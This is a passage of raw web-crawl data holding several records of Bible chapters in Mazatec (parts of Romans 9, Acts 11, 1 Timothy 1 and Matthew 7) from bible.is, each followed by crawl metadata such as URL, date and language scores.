a̱'ta tsa̱ji kokon nga'ñó‑na̱ ko̱ mé‑ni nga nga'tsì xi̱ta̱ i̱sà'nde katabexkon‑na.\" 18'Koa̱á 'sín 'sín jè Nainá nga tjín‑la̱ kjo̱hi̱ma̱takòn a̱'ta 'tse̱ xi̱ta̱ ra jè mejèn‑la̱, tanga ti̱'koa̱á maá‑la̱ nga sítájajín inìma̱‑la̱ xi̱ta̱ ra jè mejèn‑la̱ nga sítája. 19Tanga maá‑la 'kín‑ná ra ji̱: \"Tsa 'koa̱á 'sín 'sín Nainá, nga mì kì ma yá ra kondra̱ ki̱ji̱‑la̱ koni 'sín nga mejèn‑la̱ ra jè, ¿mé‑ni nga bánè jé‑isa‑la̱ xi̱ta̱?\" 20Tanga ra ji̱ ra xi̱ta̱ 'mì‑li, ¿yá‑ni ra ji̱ nga ji̱ si̱jé‑la̱ kinda̱ Nainá? Tsa jngo ti̱jí ni'nde ra xá kisinda‑ni, ¿a ko̱maá ki̱tso̱‑la̱ jè xi̱ta̱ ra tsikínda: \"Mé‑ni nga ko̱'sín tsikìnda‑náa̱\"? 21¿A mí tjí'nde‑la̱ jè xi̱ta̱ ra ma‑la̱ bínda ti̱jí ni'nde nga ti̱jè‑ni ndási ki̱ìnda jngo ti̱jí ra tà 'kia̱ machjeén nga tjín 'sí, ti̱'koa̱á ki̱ìnda jngo ti̱jí ra ni̱chjin nchijòn machjeén? 22Tsa jè Nainá ko̱'sín kjomejèn‑la̱ tsakón kjo̱jti‑la̱ ko̱ tsakón nga'ñó‑la̱, tanga, ¿a 'choó tjín nga jè Nainá, nga ko̱'sín 'ñó iskoñá kjoa̱ ra a̱'ta 'tse̱ xi̱ta̱ ra tjábé‑la̱ kjo̱hi'in ko̱ ra tjíné‑la̱ nga kje̱hesòn? 23Ko̱ mí‑la tsa 'cho tjín‑te tsa ko̱'sín ki'sìn nga tsakón kjoa̱jeya‑la̱ ra a̱'ta 'tse̱ xi̱ta̱ ra jè kjòhi̱ma̱ke nga̱ tsikítsa̱jnanda skanda ti̱'sa̱‑ni kjotseé mé‑ni nga ti̱'koa̱ 'se̱‑la̱ jè kjoa̱jeya‑la̱. 24Ko̱ jién‑nájién ra ko̱'sín tsikítsa̱jnanda‑ná nga ko̱'sín kiìchja̱‑ná, tjín ra ya̱ a̱jin‑la̱ xi̱ta̱ Israel kiìchja̱‑ná ko̱ tjín ra mì tsa ya̱ a̱jin‑la̱ xi̱ta̱ Israel kiìchja̱‑ná. 25'Koa̱á 'sín tíchja̱ xa̱jo̱n ra tsikínda Oseas, xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá kjotseé nga tsò: Na̱xi̱ndá tsa̱'a̱án xín‑la̱ jè ra mì tsa na̱xi̱ndá‑na̱ ma tsiki, ti̱'koa̱á ko̱tsjake̱‑náa̱ jè ra mì kì kjotsjacha nga ti̱'sa̱ kjotseé. 26Ko̱ ya̱ na̱xi̱ndá ñánda̱ ki'mì‑la̱: \"Mì tsa na̱xi̱ndá tsa̱'a̱n xin‑no\", \"i̱xti‑la̱ Nainá ra tíjnakon\" 'kín‑ni. 27Isaías jè xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá kjotseé, 'koa̱á tsò‑te a̱'ta 'tse̱ na̱xi̱ndá Israel: \"Ni̱'sín ko̱'sín 'ñó kjìn ma‑ni jñà i̱xti‑la̱ koni chrjo̱ ra tjín ya̱ a̱ndi ndáchikon, ta jñá ra ki̱jnengi chiba‑ni ra ki̱tjokajin kjo̱hi'in. 28Nga̱ jè Na̱'ín‑ná ndi̱to̱ón si̱hitjasòn jè kjo̱hixi̱‑la̱ ra ijye kitsjà nga jngó kjá kjo̱hi'in tsjá‑la̱ jñà xi̱ta̱ i̱sà'nde.\" 29Koni 'sín kitsò nga ti̱'sa̱ ítjòn jè Isaías: Jè Na̱'ín‑ná, ra tse nga'ñó tjín‑la̱, tsa mí‑la isìkijnengi i'ka‑ni xi̱ta̱ ra isìtje̱‑ná, ijyeé‑la ko̱'sín ijyehesòn ijyeé koni 'sín kjomà jè na̱xi̱ndá Sodoma ko̱ na̱xi̱ndá Gomorra. 30¿Kó'sín kixé tsa'koa̱? Jñà xi̱ta̱ ra mì tsa xi̱ta̱ Israel, ni̱'sín mì kì tsakátsji nga kixi̱ kítsa̱jna ngixko̱n Nainá, ijyeé xi̱ta̱ kixi̱í baxki̱, ta nga̱tjì‑la̱ ijyeé kjokjiín‑la̱ a̱'ta 'tse̱ Nainá. 31Tanga jñà xi̱ta̱ Israel ra a̱'ta 'tse̱ Kjo̱téxoma 'ñó tsakátsji nga kixi̱ kítsa̱jna ngixko̱n Nainá, mì kì ijchòtji̱ngi‑la̱. 32¿Mé‑ni nga ko̱ kjomà‑ni? Kií ko̱'sín kjomà‑ni nga mì kì tsa makjiín‑la̱ a̱'ta 'tse̱ Nainá. Ta jñá 'ñó tsaká'ta ikon jñà kjo̱nda ra ki'sìn koni 'sín tjín Kjo̱téxoma 'tse̱ Moisés. 'Koa̱á ma‑ni ['kia̱ nga 'ji Cristo] ya̱á isaténgi koni jngo Na̱jo̱ ra tíjnachjà. 33Jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, 'koa̱á 'sín tíchja̱ [a̱'ta 'tse̱ Cristo] nga tsò: Ya̱ nindo ra 'mì Sión, 'a̱án kijná jngo Na̱jo̱ jè ra sa̱téngi xi̱ta̱ ko̱ jè ra ko̱jndo. Tanga jè ra ko̱kjiín‑la̱ a̱'ta 'tse̱ Na̱jo̱ ra̱kìi̱, mì kì kjo̱sabà sa̱kò‑la̱.\nRomanos 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/9","date":"2013-12-08T11:32:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065206\/warc\/CC-MAIN-20131204131745-00017-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":1019,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.348,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús ko̱ ra ijye 'ndse̱ jo̱ó ra a̱'ta 'tse̱ Cristo ra títsa̱jna nangi Judea kií'nchré‑ní nga jñà xi̱ta̱ ra mì tsa xi̱ta̱ judío ti̱'koa̱á ijyeé kjokjiín‑la̱ 'én‑la̱ Nainá. 2Jñà xi̱ta̱ judío ra makjiín‑la̱ a̱'ta 'tse̱ Cristo tsakátiko̱ó Pedro, 'kia̱ nga ijchò‑ni ján Jerusalén. 3Kitsò‑la̱: ―¿Mé‑ni ya̱ 'kiìn‑ni ya̱ ni'ya‑la̱ ra taxki̱ xi̱ta̱ ra mì tsa xi̱ta̱ judío, ko̱ mé‑ni ya̱ tsichiko̱‑ni? 4Jè Pedro 'kia̱á tsikí'tsia̱ nga nda kjón tsi'kéna̱jmí ijye‑la̱ koni 'sín kjomà'tin; kitsò‑la̱: 5―'Kia̱ nga tíjna̱ ján na̱xi̱ndá Jope, nga tíchjà'ta‑la̱ Nainá, tsatsíjeén jngo‑na kjoa̱ koni tsa nijñá ki'tsì‑na, kíjtseé jngo ra koni 'ki nikje ra 'ñó te 'ki ra tjí'ñó nga ijòn chrja̱ngi̱‑la̱ ra inchrabàjen‑ni ján ngajmi, 'ji skanda ñánda̱ tíjna̱. 6'Kia̱ nga nda ískotsíjen‑la̱ kíjtse‑náa̱ nga títsa̱jnaya jñà cho̱ ra tjín i̱ a̱'ta nangi ra ijòn ma ndsa̱ko̱ ko̱ cho̱ 'tse̱n ra tjín ya̱ a̱jin ijñá, ko̱ cho̱ ra bífejno ijo‑la̱ ya̱ nangi ko̱ nga'tsì cho̱ ra tjín‑la̱ na̱jngá ra bima ya̱ a̱jin i̱sén. 7Kí'nchré jngo 'én ra kitsò‑na: \"Pedro, ti̱sítji̱in, chjíbí cho̱ kìi̱, ti̱'kin, ko̱ chji̱ni̱i.\" 8Ko̱ 'a̱n kíxin‑la̱: \"Majìn‑jìn Na̱'ìn; nga̱ ni̱kje sa india taxki̱ kjíne̱ tsajmì ra tjé ko̱ ra xkón tjín a̱'ta 'tse̱ kjo̱téxoma.\" 9Ra ma‑ni jò 'ka̱, ìjngo 'ká kiìchja̱‑na ján ngajmi kitsò‑na: \"Tsajmì ra ijye Nainá isìtsje nga ma chji̱ne̱, kì tà chjàn tsajmì tjé 'mì‑la̱.\" 10Jè kjoa̱ kìi̱, jàn 'ka̱ ko̱'sín kjomà. A̱kjòn tsihijin india‑ni ján ngajmi nga'tsì tsajmì kìi̱. 11Ti̱jé‑ni hora, jàn xi̱ta̱ ijchò kátsji‑na ya̱ ni'ya ñánda̱ tíjna̱ ra ján Cesarea inchrabà‑ni ra xá isatéxá‑la̱. 12Jè Inìma̱ Tsje‑la̱ Nainá kitsó‑na: \"Tiki̱i jñà xi̱ta̱ kìi̱; kì tà chjàn jò 'bé‑la̱ takìn nga tjahijtaki̱i\"; ko̱ ti̱'koa̱á tsakáhijtako̱ó‑na jñà 'ndsé kìi̱ ra jon ma‑ni; 'kia̱ nga ijchò‑ji̱n tsitjàha̱'se̱n‑náji̱n ya̱ ni'ya‑la̱ jngo xi̱ta̱, 13ra tsi'kéna̱jmí‑naji̱n nga jngo‑ró ìkja̱li̱ kijtse ya̱ ni'ya‑la̱ ra kitsò‑la̱: \"Ti̱kasín xi̱ta̱ ján na̱xi̱ndá Jope, katafí'ká xi̱ta̱ jè ra 'mì Simón ra ti̱'koa̱ Pedro 'mì. 14Jè tsjá‑li 'én nga kó'sín kítjo̱kajion kjo̱hi'in kjoa̱ 'tse̱ jé‑no, ngaji̱ ko̱ nga'tsì xi̱ta̱ ra ya̱ títsa̱jna ni'ya‑li.\" 15'Kia̱ nga ítsiki'tsiáa̱ nga tsi'kènájmí‑la̱, jè Inìma̱ Tsje‑la̱ Nainá, ndi̱to̱ón 'jiìkájin‑la̱ jñà xi̱ta̱ kìi̱ koni 'sín kjoma'tieén ra jién nga ti̱'sa̱ ítjòn. 16'Kia̱á ítsjen‑na koni 'sín kitsò Na̱'ín‑ná nga kitsò: \"Jè Juan, ta nandá tsatíndá‑ni, tanga jiòn, ko̱ó Inìma̱ Tsje‑la̱ Nainá sa̱tíndá‑no.\" 17Tsa jè Nainá ko̱'sín sasén‑la̱ nga ti̱'koa̱á tsjá kjo̱tjò‑te‑la̱ Inìma̱ Tsje‑la̱ koni 'sín nga kitsjà kjo̱tjò‑te‑ná ra jién 'kia̱ nga kjokjiín‑ná a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná, ¿yá‑na ra 'a̱n nga 'a̱n kotechjà‑la̱ Nainá? 18'Kia̱ nga kií'nchré jñà 'én kìi̱, jyò tsikitsa̱jna. Jeyaá isíkíjna Nainá, kitsò: ―¡Kixi̱í‑la kjoa̱, jñà ra mì tsa xi̱ta̱ judío ti̱'koa̱á tsjá‑la̱ jñà kjo̱nda kìi̱ Nainá mé‑ni nga si̱íkájno‑ni jé‑la̱ ko̱ mì ti̱ kì jé koa̱àtsji‑ni mé‑ni nga ma 'se̱‑la̱ kjo̱binachon ni̱ta kjiá‑nioo̱! 19'Kia̱ nga ijye 'ken Esteban, nga'tsì xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Jesús jndíi̱ ra ján kijì ta nga̱tjì‑la̱ nga tsahatji̱ngi‑la̱ xi̱ta̱. Tjín ra kijì ján nangi Fenicia ko̱ Chipre ko̱ na̱xi̱ndá Antioquía. Jñà xi̱ta̱ kìi̱, 'kia̱ nga ijchò jñà i̱'nde kìi̱ tsi'kéna̱jmíya 'én nda‑la̱ Cristo; tanga ta jñá ra xi̱ta̱ judío ra ya̱ títsa̱jna tsi'kéna̱jmíya‑la̱. 20Jñà xi̱ta̱ ra jndíi̱ ra ján kijì, tjín i'ka ra ya̱ i̱'nde‑la̱ nangi Chipre ko̱ ya̱ na̱xi̱ndá Cirene. 'Kia̱ nga ijchò ya̱ na̱xi̱ndá Antioquía, ti̱'koa̱á tsi'kéna̱jmíya‑la̱ jñà ra mì tsa xi̱ta̱ judío 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Jesús ra tíjna ítjòn‑ná. 21Nainá kitsjá‑la̱ nga'ñó; ko̱ kjín xi̱ta̱ kìi̱ kjokjiín‑la̱, ko̱ tsáfa'tá‑ila̱ Na̱'ín‑ná Jesús. 22Jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ra títsa̱jna ya̱ Jerusalén kií'nchré‑ní koni 'sín tíma ján Antioquía. 'Kia̱á isìkasén jè Bernabé. 23Bernabé, 'kia̱ nga ijchò ya̱ Antioquía, kijtse‑ní nga jè Nainá ndaá tísíchikon'tin jñà xi̱ta̱ kìi̱. 'Ñó tsja ki'se‑la̱. 'Kia̱á isa̱ nda tsikí'tin nga'tsì jñà xi̱ta̱ nga isa̱ kixi̱ katasíkítsa̱jna inìma̱‑la̱ nga katafì'ta‑la̱ Na̱'ín‑ná Jesús. 24Jè Bernabé, 'ñó nda xi̱ta̱; ko̱ nda tjíjin ya̱ inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá; ti̱'koa̱á ndaá makjiín‑la̱ a̱'ta 'tse̱ Nainá. 'Koa̱á 'sín kjomà‑ni nga 'ñó kjìn xi̱ta̱ kjokjiín‑la̱ nga 'jaha'sen'ta‑la̱ Na̱'ín‑ná Jesús. 25Ra ijye kjomà a̱skan‑nioo̱, ya̱á kijì ján Tarso nga íkátsji jè Saulo, 26'Kia̱ nga ijye isakò‑la̱, ya̱á kiìko̱ ján Antioquía. Jngó nó tsikitsa̱jnako̱ jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo; kií xá ki'sìn nga 'ñó kjìn xi̱ta̱ tsakón‑ya‑la̱. Ya̱á Antioquía nga ko̱'sín isi'ta 'í ítjòn‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo nga xi̱ta̱‑la̱ Cristo ki'mì. 27Jñà ni̱chjin kìi̱, ijchó i'ka xi̱ta̱ ra chja̱ ngajo‑la̱ Nainá ján Antioquía ra ya̱ inchrabà‑ni Jerusalén. 28Jngo xi̱ta̱ ra 'mì Agabo, tsasijna kixi̱ nga kiìchja̱; ko̱ jé Inìma̱ Tsje‑la̱ Nainá isìchi̱ya‑la̱, kitsò: ―Nga tjíjtsa i̱sà'nde, jngo kjinchrá kj'i̱í ra 'ñó i'in ko̱ma. Jè 'én ra̱kìi̱, 'koa̱á 'sín itjasòn 'kia̱ nga tíbatéxoma xi̱ta̱xá ítjòn ra 'mì Claudio ya̱ ján Roma. 29Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo ra títsa̱jna ya̱ Antioquía, 'koa̱á 'sín iskosòn‑la̱ nga ko̱si̱ko̱ xi̱ta̱ xákjién ra títsa̱jna ya̱ nangi Judea koni 'ki ma ra 'sín nga jngó jngóo̱. 30Koni 'sín nga ijye iskosòn‑la̱, 'koa̱á 'sín isìhitjasòn. Jè Bernabé ko̱ Saulo kiìko̱ jè kjo̱tjò ra̱kìi̱ ya̱ ján nangi Judea nga kisìnga̱tsja jñà xi̱ta̱ jchínga ra tjín‑la̱ xá a̱'ta 'tse̱ na̱xi̱ndá‑la̱ Cristo.\nHechos 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/11","date":"2013-12-11T11:14:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164034983\/warc\/CC-MAIN-20131204133354-00017-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":814,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.33,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n, Pablo, tìkjiì‑lè xo̱jo̱n jè, nga 'a̱n tsibíxáya‑na Jesucristo, nga k'oa̱s'ín kitsjaà o̱kixi̱ Nainá xi ochrjekàjiìn‑ná kjo̱'in ko̱ Na̱'èn‑ná Jesucristo nga titsa̱chiñá‑lá kjo̱ndaà‑la̱. 2Ngaji̱ Timoteo, koni tsà ki'ndí ts'a̱n xan‑lè nga 'a̱n tsakoòyandaà‑lè koni s'ín mokjeiín‑ná i̱t'aà ts'e̱ Cristo. Nainá xi Na̱'èn‑ná ko̱ Na̱'èn‑ná Jesucristo kàtatsjá‑lè kjo̱ndaà, kàtahi̱ma̱keè‑lè, kàtas'e‑la̱ kjoa̱'nchán i̱jiìn ini̱ma̱‑lè. 3Koni s'ín tsibìtsi'ba‑lè k'e̱ nga kiaà nangui Macedonia, ya̱á ti̱jni na̱xa̱ndá Éfeso mé‑ne nga ki̱chakjáya‑la̱ xi̱ta̱ xi mìtsà 'én kixi̱ nchihokóya i̱jiìn na̱xa̱ndá‑la̱ Nainá. 4Ngaji̱ Timoteo, k'oa̱á s'ín tjínè‑la̱ jñà xi̱ta̱ koi, kì kiì sís'in‑la̱ cuento jchínga xi mìtsà kixi̱ kjoa̱ ti̱koa̱ kì kiì sís'in‑la̱ kjoa̱ xi mìkiì fehet'aà ts'e̱ xi̱ta̱ jchínga kjòtseé. Kjoa̱ koi ni̱mé chjí‑la̱. Tà síkjaán‑kjoò‑ná. Mì kì osìko̱‑ná nga mokjeiín‑ná i̱t'aà ts'e̱ Cristo mé‑ne nga ko̱ma si̱kitasoán koni s'ín mejèn‑la̱ Nainá. 5Xá xi tìbìnè‑lè, jè‑né nga tsjeè tíjna ini̱ma̱‑ná, nga tsjeè tjín kjo̱hítsjeèn‑ná koa̱ nga nguì ndaà mokjeiín‑ná; ya̱á nchrobát'aà‑ne nga si̱tjòchaà xinguia̱á. 6Ta̱nga tjín i'nga xi̱ta̱ xi xìn ndi̱yá tjímaya; tà koií joóya‑ne 'én xi ni̱mé chjí‑la̱. 7Mejèn‑la̱ maestro ts'e̱ kjo̱tíxoma‑la̱ Nainá kítsa̱jna. Ta̱nga ti̱jñà‑ne, skanda mìkiì machi̱ya‑la̱ 'én xi chja̱ nga 'ñó chja̱ nga tsò nga kixi̱ kjoa̱. 8Tíjiìn‑ná nga jè kjo̱tíxoma xi kitsjaà Nainá, ndaà tjín tsà k'oa̱s'ín ko̱chjeén koni s'ín mejèn‑la̱ Nainá. 9'Ya‑ná, kjo̱tíxoma‑la̱ Nainá, mìtsà ts'e̱ jñà xi̱ta̱ xi ndaà s'ín. Ts'e̱‑né jñà xi̱ta̱ xi mìkiì 'nchréñijon koa̱ mìkiì síkitasòn; ts'e̱‑né xi̱ta̱ xi mìkiì beèxkón Nainá koa̱ ótsji jé; ts'e̱‑né xi̱ta̱ xi mì tsjeè tjín kjo̱hítsjeèn‑la̱ xi tjé beèhikon jè kjoa̱tsjeè‑la̱ Nainá; ts'e̱‑né xi̱ta̱ xi sík'en na̱'èn‑la̱ ko̱ nea̱‑la̱, ko̱ ngats'iì xi̱ta̱ xi xi̱ta̱ sík'en. 10Ti̱koa̱ ts'e̱‑né jñà xi̱ta̱ xi kjoa̱ chijnguií s'ín, jñà xi xi̱ta̱ xa'nda, xi̱ta̱ xi xíkjín fìko̱ chijé nga otíjna. Ti̱koa̱ ts'e̱‑né jñà xi̱ta̱ ndiso ko̱ xi̱ta̱ xi mìtsà 'én kixi̱ chja̱, jñà xi̱ta̱ xi ch'o tjín kjoa̱ xi s'ín xi kondra̱ ts'e̱ kjo̱hítsjeèn xi kixi̱ tjín. 11Jè kjo̱hítsjeèn kixi̱, k'oa̱á tjín xi okóya jñà 'én jeya‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Nainá xi 'ñó jeya tíjna, jè kisìnga̱tsja‑na nga 'a̱n kichjàya 'én koi. 12Tsjaà‑la̱ kjo̱ndaà Na̱'èn‑ná Jesucristo. Ndaà chjí‑la̱ nga kitsjaà‑na nga'ñó ti̱koa̱ ndaà kijtseè ikon‑na nga 'a̱n kisìnga̱tsja‑na xá‑la̱, 13na̱s'ín k'e̱ nga sa̱ ítjòn, 'ñó ch'o kis'iaàn; kichjàjno‑la̱ Nainá; kondra̱ kiìtji̱ngui‑la̱; toòn kijtseè xi̱ta̱‑la̱. Ta̱nga kjòhi̱ma̱keè‑na Nainá, nga kj'eè kiì be, koa̱ kj'eè kiì mokjeiín‑na i̱t'aà ts'e̱ Cristo. 14Ta̱nga jè kjo̱tjò‑la̱ Na̱'èn‑ná ìsa̱á 'ñó tse kitsjaà‑na ti̱koa̱ kisìhiseèn‑na nga mokjeiín‑na ko̱ kitsjaà‑na kjoa̱tjòcha‑la̱ nga jè Cristo tìjna̱koa̱a. 15Jñà 'én koi, nguì 'én kixi̱‑né. Mochjeén‑né nga ko̱kjeiín yije‑la̱ xi̱ta̱ nga jè Jesucristo j'iì i̱ i̱sò'nde nga ko̱chrjekàjiìn kjo̱'in ngats'iì xi̱ta̱ xi jé tjín‑la̱. Ngats'iì xi̱ta̱ xi ch'o s'ín, 'a̱án tìjna̱ ítjoàn nga tsohotsjià jé. 16Na̱s'ín 'ñó ch'o kis'iaàn, Nainá kis'e‑la̱ kjo̱hi̱ma̱takòn i̱t'aà ts'a̱n. Jñà xi̱ta̱, k'e̱ nga skoe̱ kó s'ín kisìko̱‑na Na̱'èn‑ná Jesucristo, nga 'ñó tjín‑la̱ kjoa̱tsetakòn, ti̱koa̱á ko̱kjeiín‑la̱ i̱t'aà ts'e̱ Cristo nga s'e̱‑la̱ kjoa̱binachon ni̱ta̱ mé na̱chrjein‑ne. 17Nainá, 'nga kàtìjna, kàtas'e‑la̱ kjoa̱jeya ni̱ta̱ mé nó, ni̱ta̱ mé na̱chrjein‑ne nga jè otíxoma ni̱ta̱ mé na̱chrjein‑ne koa̱ mìkiì kjoe̱het'aà na̱chrjein‑la̱ ni̱ta̱ kjé‑ne, ti̱koa̱ mìkiì tsejèn ñánda tíjna koa̱ nguì jè ta̱jngoò xi Nainá. K'oa̱s'ín kàtama. 18Ngaji̱ Timoteo koni tsà ki'ndí‑na̱ xan‑lè, sìnga̱tsja‑lè 'én koi, koni s'ín kitsò xi̱ta̱ xi kisìkjeén Nainá nga kiìchja̱ i̱t'aà tsi̱ji, mé‑ne nga i̱t'aà ts'e̱ 'én koi, tsjá‑lè nga'ñó nga ndaà si̱xá‑la̱ Nainá koni s'ín síxá soldado. 19Ndaà kàtakjeiín‑lè i̱t'aà ts'e̱ Cristo, ti̱koa̱ ndaà kàtìjna kjo̱hítsjeèn‑lè. Tjín i'nga xi̱ta̱ xi mìkiì kisìs'in kjo̱hítsjeèn xi ndaà tjín. K'oa̱á komà‑ne nga kisìkje‑la̱ ikon nga mì ti̱ kiì kòkjeiín‑la̱. 20K'oa̱á s'ín komàt'in jè Himeneo ko̱ Alejandro xi 'a̱n kisìkítsa̱jnakoa̱a xi̱ta̱ nei̱í mé‑ne nga kàtakixi̱ya‑ne nga mì ta̱xki̱ ki̱chja̱jno‑la̱ Nainá.\n1 Timoteo Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/","date":"2013-12-12T12:02:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164582561\/warc\/CC-MAIN-20131204134302-00066-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":587,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.298,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kì jé‑la̱ xàngio̱o nìkinda̱a [ko̱ kì jé fanè‑la̱ xàngio̱o] mé‑ni nga jè Nainá mì tsa jé‑no si̱ìkinda̱ [ko̱ mì tsa jé koa̱ànè‑no]. 2Koni 'sín nga kjónè jé‑la jñà xi̱ta̱ ra kj'ií, jè Nainá, 'koa̱á ti̱'sín koa̱ànè jé‑no. Nga̱ jè chi̱ba̱ ra si̱chi̱ba̱‑la xàngio̱o, ti̱jé ko̱chi̱ba̱ ngajo‑no. 3[¿Mé‑ni jé‑la̱ xàngi̱i nikìnda̱‑ni ko̱ mì tsa jè nikìndi̱ jè jé‑li?] ¿Mé‑ni jè chitsíjen‑ila̱ jè tjé ra kjingi xko̱n xàngi̱i, ko̱ mì tsa jè nikìndi̱ jè yá chi̱so̱ ra kjingi jè xkìi̱n? 4Tsa jngo yá chi̱so̱ kjingi xkìi̱n, ¿mé‑ni ko̱'sín 'mì‑la̱ jè 'ndsìi̱: \"Ti̱'nde‑ná nga kochrjéngia jè tjé ra kjingi ya̱ xkìn\"? 5Ji̱, xi̱ta̱ ra jò i̱sén tjín‑li; ti̱náchrjengi ítjìn chi̱so̱ ra kjingi tsa̱ji mé‑ni nga nda ko̱tsíjen‑li nga ma ki̱náchrjengi jè tjé ra kjingi xko̱n xàngi̱i. 6'Kì tà chjàn nañá 'bì‑la jñà tsajmì ra tsje a̱'ta 'tse̱ Nainá mé‑ni nga mì ya̱ koa̱áfa'ta‑no ko̱ ya̱á ski̱ne̱‑no. Ko̱ kì chi̱nga̱ bitsajo‑la jñà tsajmì‑no ra 'ñó chjí‑la̱ mé‑ni nga mì ya̱ ki̱nchanè‑ni. 7'Ti̱jé'tà‑la Nainá, tsjá‑no mé ra si̱jé; tjatsjio Nainá, sa̱kó‑no; ti̱kjane xo̱tjo̱ba̱ ni'ya ñánda̱ tíjna Nainá, tjá'xa̱á‑no. 8Nga'tsì xi̱ta̱ ra si̱ìjé, 'ki̱í‑la̱; jè ra bátsji, sakó‑la̱; jè ra síkjane xo̱tjo̱ba̱ ni'ya, tjá'xa̱á‑la̱. 9'¿A tjítsa̱jnajiín i'ka‑no xi̱ta̱ ra na̱jo̱ tsjá‑la̱ i'ndí‑la̱ tsa 'kia̱ ni̱ño̱ nchra̱jín si̱ìjé‑la̱? ¿A mí tsa ni̱ño̱ nchra̱jín tsjá‑la̱? 10Ko̱, ¿a ye̱é tsjá‑la̱ tsa 'kia̱ ti̱ si̱ìjé‑la̱? ¿A mí tsa ti̱ tsjá‑la̱? 11Jiòn, ni̱'sín xi̱ta̱ 'cho kjòn jiòn, maá‑no 'bì‑la i̱xti‑no tsajmì ra nda. Jè Na̱'ìn‑no ra tíjna ngajmi, isa̱á ta ndi̱to̱n si̱ìsin‑no nga tsjá‑no tsajmì ra nda, tsa jiòn ra si̱jé'ta‑la. 12'Koni 'sín mejèn‑no nga nda si̱ìko̱‑no xi̱ta̱, 'koa̱á ti̱'sín nda ti̱ko̱‑te ra jiòn. Nga̱ 'koa̱á 'sín tíchja̱ kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ko̱ xa̱jo̱n‑la̱ xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ kjotseé. 13'Jé ti̱tjáha̱'se̱en jè xo̱tjo̱ba̱ ra 'nchrèya 'ki. Nga̱ jè xo̱tjo̱ba̱ ko̱ jè ndi̱yá ra teyá, ya̱á fìko̱‑ná ñánda̱ nga jchi̱jeé. Ko̱ 'ñó kjìn ma‑ni xi̱ta̱ ra ya̱ 'faha'sen. 14Jè xo̱tjo̱ba̱ ko̱ jè ndi̱yá ra 'nchrèya kjòn, jè‑ní ra fìko̱‑ná ya̱ ñánda̱ tjín kjo̱binachon, ko̱ ta chibaá ma‑ni xi̱ta̱ ra sakó‑la̱. 15'Nda ti̱kinda̱a ijo‑no a̱'ta 'tse̱ xi̱ta̱ ndiso ra tsò nga 'én‑la̱ Nainá‑ní ra síka'bí. 'Kia̱ nga bijchójkon‑no jñà xi̱ta̱ kìi̱, ta i̱ma̱kjoa̱á 'sín koni jñà forrè, tanga 'koa̱á 'sín kjòn‑ni inìma̱‑la̱ koni jñà tsi̱jén ra 'tse̱n. 16Ta ma ta ya̱á jcha̱‑najiòn kó'sín nga 'sín, koni 'sín tjín ra a̱'ta 'tse̱ yá ra bajà‑la̱ to; nga̱ jñá to‑la̱ bakón mé yá‑ni nga jngó jngó; koni jñà to uva mì tsa ya̱ bajà‑la̱ jñà yá na'yá; ti̱'koa̱ jñà to igo̱ mì tsa ya̱ bajà‑la̱ jñà xka̱ ra na'yá tjín‑la̱. 17'Koa̱á 'sín tjín nga'tsì yá ra nda, nda to bajà‑la̱, tanga jñà yá ra mì kì nda, mì kì nda to bajà‑la̱. 18Jngo yá ra nda, mì kì ko̱ma 'cho kjòn to ra ko̱ja̱‑la̱; ko̱ jè yá ra mì kì nda, mì kì ko̱ma nda to ra ko̱ja̱‑la̱. 19Nga'tsì yá ra mì kì nda to bajà‑la̱, jtísòn‑ní, a̱kjòn ya̱á si̱nchájin ya̱ ni'í nga jti̱. 20Ta ma ta jè jcha̱xkon‑najiòn jñà xi̱ta̱ kìi̱, kó'sín nga 'sín. 21'Mì tsa tà nga'tsì‑ni xi̱ta̱ ra tsò‑na nga 'a̱án tíjna̱ ítjòn‑la̱, ko̱ma kjoa̱ha'sen ya̱ ñánda̱ tíbatéxoma jè ra tíjna ngajmi. Ta jñá kjoa̱ha'sen jñà ra ko̱'sín síhitjasòn koni 'sín mejèn‑la̱ jè Na̱'ìn‑na̱ 